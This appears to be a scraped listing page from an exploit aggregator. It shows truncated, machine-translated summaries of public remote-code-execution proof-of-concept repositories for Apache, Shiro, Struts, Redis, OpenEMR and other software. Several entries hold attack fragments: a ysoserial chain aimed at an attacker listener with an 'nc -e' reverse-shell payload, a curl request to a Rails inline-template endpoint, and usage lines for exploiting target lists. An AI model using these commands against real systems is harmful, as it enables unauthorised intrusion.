CVE-2021-41773-Apache_2.4.49-Path-traversal-to-RCE

CVE-2021-41773 – Apache HTTP Server 2.4.49 Remotecodeausführung ⚠️ Haftungsausschluss Dieses Repository ist ausschließlich für Bildungs- und Forschungszwecke bestimmt. Die hier bereitgestellten Informationen und Codes können in kontrollierten Umgebungen wie privaten Labormaschinen verwendet werden...

CVE-2019-3980-Open_Net_Admin_v18.1.1_RCE

CVE-2019-3980 – OpenNetAdmin 18.1.1 Esecuzione Remota di Codice ⚠️ Disclaimer Questo repository è destinato esclusivamente a scopi educativi e di ricerca. Le informazioni e il codice qui forniti possono essere utilizzati in ambienti controllati , come macchine di laboratorio private. L'uso non...

CVE-2018-17179-OpenEMR

CVE-2018-17179-OpenEMR ⚠️ 면책 조항 이 저장소는 교육 및 연구 목적으로만 제공됩니다. 여기 제공된 정보와 코드는 통제된 환경예: 개인 실험실 머신에서만 사용할 수 있습니다. 소유하지 않았거나 테스트에 대한 명시적 허가를 받지 않은 시스템에 대해 이 코드를 무단으로 사용하는 것은 불법적이고 비윤리적입니다. 저자는 이로 인한 어떠한 오용이나 손해에 대해서도 책임지지 않습니다. 🔍 취약점 정보 CVE-2018-17179 는 널리 사용되는 오픈 소스 전자 의무 기록 및 진료 관리 소프트웨어인 OpenEMR 에 영향...

ThinkCMF_getshell

Vulnerabilità di inclusione arbitraria di contenuti nel framework ThinkCMFgetshell Un attaccante remoto, senza richiedere alcun privilegio, può eseguire codice arbitrario sul server remoto inviando un pacchetto di richiesta appositamente costruito. utilizzo python: + python ThinkCMFgetshell.py...

SHIRO-721

SHIRO-721 Vulnerabilità RCE del Padding Oracle di RememberMe 0x00 Introduzione: Il RememberMe del cookie è crittografato tramite AES-128-CBC, il che lo rende vulnerabile agli attacchi Padding Oracle. Un attaccante può utilizzare un cookie RememberMe valido come prefisso per l'attacco Padding...

PoC_CVE-2016-2098_Rails42

Ein PoC für CVE-2016-2098 Rails 4.2.5.1 View enthält anfälligen Code app/views/poc/render1.html.erb folgender Befehl führt zu Remotecodeausführung $ curl ':3000/poc/render1?template\inline='...

CVE-2024-48990

CVE-2024-48990 und CVE-2024-48992 Um festzustellen, ob ein Python-Prozess ein Prozess, der den Python-Interpreter ausführt neu gestartet werden muss, extrahiert needrestart die Umgebungsvariable PYTHONPATH aus der /proc/pid/environ-Datei dieses Prozesses in Zeile 193, setzt diese Umgebungsvariabl...

CVE-2024-27348

CVE-2024-27348 🪶 CVE-2024-27348 प्रूफ ऑफ कॉन्सेप्ट एक्सप्लॉइट RCE Apache HugeGraph सर्वर में अप्रमाणित उपयोगकर्ता Apache HugeGraph सर्वर में Groovy इंजेक्शन के माध्यम से OS कमांड निष्पादित कर सकते हैं। उपयोग 🛠 एकाधिक लक्ष्यों का शोषण ☣️ root@kitploit: python3 CVE-2024-27348.py -f targets.txt -c...

SHIRO-550

Vulnerabilità di deserializzazione di Shiro RememberMe 1.2.4 SHIRO-550 commons-collections-3.2.1.jar java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient "10.10.20.166:12345" |python exp.py java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'nc -e...

CVE-2019-0708

CVE-2019-0708 CVE-2019-0708 python3 check 0708 Esiste una vulnerabilità di esecuzione di codice in remoto in Remote Desktop Services – precedentemente noti come Servizi Terminal – quando un utente malintenzionato non autenticato si connette al sistema di destinazione utilizzando RDP e invia...

EUVD-2026-67579

SOY CMS contains an issue with deserialization of untrusted data. An arbitrary code may be executed by an attacker with the web server privilege...

CVE-2026-78032

SOY CMS contains an issue with deserialization of untrusted data. An arbitrary code may be executed by an attacker with the web server privilege...

CVE-2026-78032

SOY CMS is affected by a deserialization of untrusted data vulnerability that allows an attacker to execute arbitrary code with web server privileges . The vulnerability is rated CRITICAL with a CVSS 3.0 base score of 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) and a CVSS 4.0 base score of 9.3 . No...

st2-048

Vulnerabilità di esecuzione di codice remoto St2-048 Apache Struts 2 possibile RCE nell'app Struts Showcase nell'esempio del plugin Struts 1 nella serie Struts 2.3.x http://struts.apache.org/docs/s2-048.html https://cwiki.apache.org/confluence/display/WW/S2-048 Utilizzo: root@kitploit: python...

goahead-webserver-pre-5.1.5-RCE-PoC-CVE-2021-42342-

Goahead webserver pre v5.1.5 RCE PoC CVE-2021-42342 Un recente bug in Goahead Webserver è stato scoperto da William Bowling che porta a RCE sul server sfruttato. Il problema esiste nelle versioni precedenti alla 5.1.5 che, secondo Shodan copre circa 2.8mio server su internet. Un CVE è ora...

Redis-RCE

Redis-RCE esecuzione remota di codice per redis4 e redis5 codice python da https://github.com/Ridter/redis-rce Esecuzione del comando riuscita caricando il file so, che estende il nuovo comando system.exec strings explin.so |grep sys root@kitploit: system system.exec syserrlist.h sysnerr syserrli...

CVE-2023-47129

CVE-2023-47129 - Statamic CMS Versionen 4.33.0 - Remote Code Execution Beschreibung In Versionen 4.33.0 von Statamic CMS, bei denen das Frontend ein Formular mit aktivem Datei-Upload enthält, ist es möglich, PHP-Dateien zu senden, die so erstellt wurden, dass sie wie Bilder aussehen, unabhängig v...

CVE-2021-34371.jar

CVE-2021-34371.jar CVE-2021-34371.jar da https://github.com/vulhub/vulhub/tree/master/neo4j/CVE-2021-34371/rhinogadget USO EXP...

cve-2021-20837-poc

cve-2021-20837-poc PoC per la CVE-2021-20837 : RCE in MovableType Questa vulnerabilità è stata scoperta con la collaborazione di The.Criminal.One. Questo PoC è stato sviluppato da lui. ARTICOLO DEL BLOG: https://nemesis.sh/posts/movable-type-0day/...

CVE-2018-7750

CVE-2018-7750 un approccio RCE esecuzione remota di comandi per CVE-2018-7750 Titolo Exploit: Paramiko 2.4.1 - Esecuzione Remota di Codice Data: 2018-11-06 Autore Exploit: jm33-ng Homepage del Venditore: https://www.paramiko.org Link Software:...